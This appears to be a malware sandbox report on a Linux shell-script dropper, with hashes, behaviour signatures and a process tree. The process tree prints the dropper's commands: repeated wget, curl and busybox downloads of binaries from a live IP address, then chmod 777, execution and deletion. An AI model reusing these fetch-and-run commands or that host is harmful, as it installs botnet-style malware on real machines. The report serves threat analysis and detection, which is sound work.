Analysis
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max time kernel
17s -
max time network
19s -
platform
debian-9_armhf -
resource
debian9-armhf-20240418-en -
resource tags
arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem -
submitted
18/10/2024, 02:16
Static task
static1
Behavioral task
behavioral1
Sample
988fd4fe10fa581bbf2b3ffc3df3de6cae7f30da58a71623c0eb40e3adea95f6.sh
Resource
ubuntu1804-amd64-20240508-en
Behavioral task
behavioral2
Sample
988fd4fe10fa581bbf2b3ffc3df3de6cae7f30da58a71623c0eb40e3adea95f6.sh
Resource
debian9-armhf-20240418-en
Behavioral task
behavioral3
Sample
988fd4fe10fa581bbf2b3ffc3df3de6cae7f30da58a71623c0eb40e3adea95f6.sh
Resource
debian9-mipsbe-20240729-en
Behavioral task
behavioral4
Sample
988fd4fe10fa581bbf2b3ffc3df3de6cae7f30da58a71623c0eb40e3adea95f6.sh
Resource
debian9-mipsel-20240226-en
General
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Target
988fd4fe10fa581bbf2b3ffc3df3de6cae7f30da58a71623c0eb40e3adea95f6.sh
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Size
10KB
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MD5
62cc0d748ce1bc23e334fb8337b1bf09
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SHA1
6ad81a5d3316adcab7a039a21fa81bfbcbf8b748
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SHA256
988fd4fe10fa581bbf2b3ffc3df3de6cae7f30da58a71623c0eb40e3adea95f6
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SHA512
276eac78c58b4d7a6fc6421f2ec0499bfda30e027d56c3602575fe6e71f2a006c4ca64db15c7080c252f02c698df1e83702fe82ac41266fcd0cebb3ba32454f5
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SSDEEP
192:fgZwipsY9skLiE1Zq/7DlJOqDgAimsY9skyxB1Zq/7DHOqDgAiA:fewiBi19a5UAA
Malware Config
Signatures
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File and Directory Permissions Modification 1 TTPs 8 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 728 chmod 764 chmod 770 chmod 776 chmod 787 chmod 793 chmod 671 chmod 708 chmod -
Executes dropped EXE 8 IoCs
ioc pid Process /tmp/BYmYv0y18L0k3P5gDTI6OMMP6ssgam6KJS 672 BYmYv0y18L0k3P5gDTI6OMMP6ssgam6KJS /tmp/rcbc5jO4G7u85ju9kKzzxLCvTDrSJbsHZk 709 rcbc5jO4G7u85ju9kKzzxLCvTDrSJbsHZk /tmp/De1QXOpFjsGUj7dZOZF7uIXZ2nuwjAsRBj 729 De1QXOpFjsGUj7dZOZF7uIXZ2nuwjAsRBj /tmp/lIZ4nqbZQP5jcXkEXyDkf9yV2NHMSMUjrv 765 lIZ4nqbZQP5jcXkEXyDkf9yV2NHMSMUjrv /tmp/p7lS1Hib6mkhrAbNonz58r7ALivEnozztu 771 p7lS1Hib6mkhrAbNonz58r7ALivEnozztu /tmp/3ALeJgt8qCSdO4bmTwZTPQyFRiQmelMErR 777 3ALeJgt8qCSdO4bmTwZTPQyFRiQmelMErR /tmp/LwKEpW7w0zNYDuijWJUvnUyuH4WX6BZezr 788 LwKEpW7w0zNYDuijWJUvnUyuH4WX6BZezr /tmp/TTCENn689A2RBaPVAnTWkhra3DUcADJ7bG 794 TTCENn689A2RBaPVAnTWkhra3DUcADJ7bG -
Checks CPU configuration 1 TTPs 8 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl -
description ioc Process File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl -
Writes file to tmp directory 8 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/LwKEpW7w0zNYDuijWJUvnUyuH4WX6BZezr curl File opened for modification /tmp/TTCENn689A2RBaPVAnTWkhra3DUcADJ7bG curl File opened for modification /tmp/BYmYv0y18L0k3P5gDTI6OMMP6ssgam6KJS curl File opened for modification /tmp/rcbc5jO4G7u85ju9kKzzxLCvTDrSJbsHZk curl File opened for modification /tmp/De1QXOpFjsGUj7dZOZF7uIXZ2nuwjAsRBj curl File opened for modification /tmp/lIZ4nqbZQP5jcXkEXyDkf9yV2NHMSMUjrv curl File opened for modification /tmp/p7lS1Hib6mkhrAbNonz58r7ALivEnozztu curl File opened for modification /tmp/3ALeJgt8qCSdO4bmTwZTPQyFRiQmelMErR curl
Processes
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/tmp/988fd4fe10fa581bbf2b3ffc3df3de6cae7f30da58a71623c0eb40e3adea95f6.sh/tmp/988fd4fe10fa581bbf2b3ffc3df3de6cae7f30da58a71623c0eb40e3adea95f6.sh1⤵PID:638
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/bin/rm/bin/rm bins.sh2⤵PID:640
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/usr/bin/wgetwget http://87.120.84.230/bins/BYmYv0y18L0k3P5gDTI6OMMP6ssgam6KJS2⤵PID:643
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/usr/bin/curlcurl -O http://87.120.84.230/bins/BYmYv0y18L0k3P5gDTI6OMMP6ssgam6KJS2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:656
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/bin/busybox/bin/busybox wget http://87.120.84.230/bins/BYmYv0y18L0k3P5gDTI6OMMP6ssgam6KJS2⤵PID:666
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/bin/chmodchmod 777 BYmYv0y18L0k3P5gDTI6OMMP6ssgam6KJS2⤵
- File and Directory Permissions Modification
PID:671
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/tmp/BYmYv0y18L0k3P5gDTI6OMMP6ssgam6KJS./BYmYv0y18L0k3P5gDTI6OMMP6ssgam6KJS2⤵
- Executes dropped EXE
PID:672
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/bin/rmrm BYmYv0y18L0k3P5gDTI6OMMP6ssgam6KJS2⤵PID:673
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/usr/bin/wgetwget http://87.120.84.230/bins/rcbc5jO4G7u85ju9kKzzxLCvTDrSJbsHZk2⤵PID:674
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/usr/bin/curlcurl -O http://87.120.84.230/bins/rcbc5jO4G7u85ju9kKzzxLCvTDrSJbsHZk2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:697
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/bin/busybox/bin/busybox wget http://87.120.84.230/bins/rcbc5jO4G7u85ju9kKzzxLCvTDrSJbsHZk2⤵PID:702
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/bin/chmodchmod 777 rcbc5jO4G7u85ju9kKzzxLCvTDrSJbsHZk2⤵
- File and Directory Permissions Modification
PID:708
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/tmp/rcbc5jO4G7u85ju9kKzzxLCvTDrSJbsHZk./rcbc5jO4G7u85ju9kKzzxLCvTDrSJbsHZk2⤵
- Executes dropped EXE
PID:709
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/bin/rmrm rcbc5jO4G7u85ju9kKzzxLCvTDrSJbsHZk2⤵PID:711
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/usr/bin/wgetwget http://87.120.84.230/bins/De1QXOpFjsGUj7dZOZF7uIXZ2nuwjAsRBj2⤵PID:712
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/usr/bin/curlcurl -O http://87.120.84.230/bins/De1QXOpFjsGUj7dZOZF7uIXZ2nuwjAsRBj2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:721
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/bin/busybox/bin/busybox wget http://87.120.84.230/bins/De1QXOpFjsGUj7dZOZF7uIXZ2nuwjAsRBj2⤵PID:726
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/bin/chmodchmod 777 De1QXOpFjsGUj7dZOZF7uIXZ2nuwjAsRBj2⤵
- File and Directory Permissions Modification
PID:728
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/tmp/De1QXOpFjsGUj7dZOZF7uIXZ2nuwjAsRBj./De1QXOpFjsGUj7dZOZF7uIXZ2nuwjAsRBj2⤵
- Executes dropped EXE
PID:729
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/bin/rmrm De1QXOpFjsGUj7dZOZF7uIXZ2nuwjAsRBj2⤵PID:730
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/usr/bin/wgetwget http://87.120.84.230/bins/lIZ4nqbZQP5jcXkEXyDkf9yV2NHMSMUjrv2⤵PID:731
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/usr/bin/curlcurl -O http://87.120.84.230/bins/lIZ4nqbZQP5jcXkEXyDkf9yV2NHMSMUjrv2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:762
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/bin/busybox/bin/busybox wget http://87.120.84.230/bins/lIZ4nqbZQP5jcXkEXyDkf9yV2NHMSMUjrv2⤵PID:763
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/bin/chmodchmod 777 lIZ4nqbZQP5jcXkEXyDkf9yV2NHMSMUjrv2⤵
- File and Directory Permissions Modification
PID:764
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/tmp/lIZ4nqbZQP5jcXkEXyDkf9yV2NHMSMUjrv./lIZ4nqbZQP5jcXkEXyDkf9yV2NHMSMUjrv2⤵
- Executes dropped EXE
PID:765
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/bin/rmrm lIZ4nqbZQP5jcXkEXyDkf9yV2NHMSMUjrv2⤵PID:766
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/usr/bin/wgetwget http://87.120.84.230/bins/p7lS1Hib6mkhrAbNonz58r7ALivEnozztu2⤵PID:767
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/usr/bin/curlcurl -O http://87.120.84.230/bins/p7lS1Hib6mkhrAbNonz58r7ALivEnozztu2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:768
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/bin/busybox/bin/busybox wget http://87.120.84.230/bins/p7lS1Hib6mkhrAbNonz58r7ALivEnozztu2⤵PID:769
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/bin/chmodchmod 777 p7lS1Hib6mkhrAbNonz58r7ALivEnozztu2⤵
- File and Directory Permissions Modification
PID:770
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/tmp/p7lS1Hib6mkhrAbNonz58r7ALivEnozztu./p7lS1Hib6mkhrAbNonz58r7ALivEnozztu2⤵
- Executes dropped EXE
PID:771
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/bin/rmrm p7lS1Hib6mkhrAbNonz58r7ALivEnozztu2⤵PID:772
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/usr/bin/wgetwget http://87.120.84.230/bins/3ALeJgt8qCSdO4bmTwZTPQyFRiQmelMErR2⤵PID:773
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/usr/bin/curlcurl -O http://87.120.84.230/bins/3ALeJgt8qCSdO4bmTwZTPQyFRiQmelMErR2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:774
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/bin/busybox/bin/busybox wget http://87.120.84.230/bins/3ALeJgt8qCSdO4bmTwZTPQyFRiQmelMErR2⤵PID:775
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/bin/chmodchmod 777 3ALeJgt8qCSdO4bmTwZTPQyFRiQmelMErR2⤵
- File and Directory Permissions Modification
PID:776
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/tmp/3ALeJgt8qCSdO4bmTwZTPQyFRiQmelMErR./3ALeJgt8qCSdO4bmTwZTPQyFRiQmelMErR2⤵
- Executes dropped EXE
PID:777
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/bin/rmrm 3ALeJgt8qCSdO4bmTwZTPQyFRiQmelMErR2⤵PID:778
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/usr/bin/wgetwget http://87.120.84.230/bins/LwKEpW7w0zNYDuijWJUvnUyuH4WX6BZezr2⤵PID:779
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/usr/bin/curlcurl -O http://87.120.84.230/bins/LwKEpW7w0zNYDuijWJUvnUyuH4WX6BZezr2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:783
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/bin/busybox/bin/busybox wget http://87.120.84.230/bins/LwKEpW7w0zNYDuijWJUvnUyuH4WX6BZezr2⤵PID:785
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/bin/chmodchmod 777 LwKEpW7w0zNYDuijWJUvnUyuH4WX6BZezr2⤵
- File and Directory Permissions Modification
PID:787
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/tmp/LwKEpW7w0zNYDuijWJUvnUyuH4WX6BZezr./LwKEpW7w0zNYDuijWJUvnUyuH4WX6BZezr2⤵
- Executes dropped EXE
PID:788
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/bin/rmrm LwKEpW7w0zNYDuijWJUvnUyuH4WX6BZezr2⤵PID:789
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/usr/bin/wgetwget http://87.120.84.230/bins/TTCENn689A2RBaPVAnTWkhra3DUcADJ7bG2⤵PID:790
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/usr/bin/curlcurl -O http://87.120.84.230/bins/TTCENn689A2RBaPVAnTWkhra3DUcADJ7bG2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:791
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/bin/busybox/bin/busybox wget http://87.120.84.230/bins/TTCENn689A2RBaPVAnTWkhra3DUcADJ7bG2⤵PID:792
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/bin/chmodchmod 777 TTCENn689A2RBaPVAnTWkhra3DUcADJ7bG2⤵
- File and Directory Permissions Modification
PID:793
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/tmp/TTCENn689A2RBaPVAnTWkhra3DUcADJ7bG./TTCENn689A2RBaPVAnTWkhra3DUcADJ7bG2⤵
- Executes dropped EXE
PID:794
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/bin/rmrm TTCENn689A2RBaPVAnTWkhra3DUcADJ7bG2⤵PID:795
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/usr/bin/wgetwget http://87.120.84.230/bins/FjXt1N23N2G8hbOp5xKBAmi2sAEoYbtrcJ2⤵PID:796
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
153B
MD5998368d7c95ea4293237f2320546e440
SHA130dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA256533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
SHA512648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97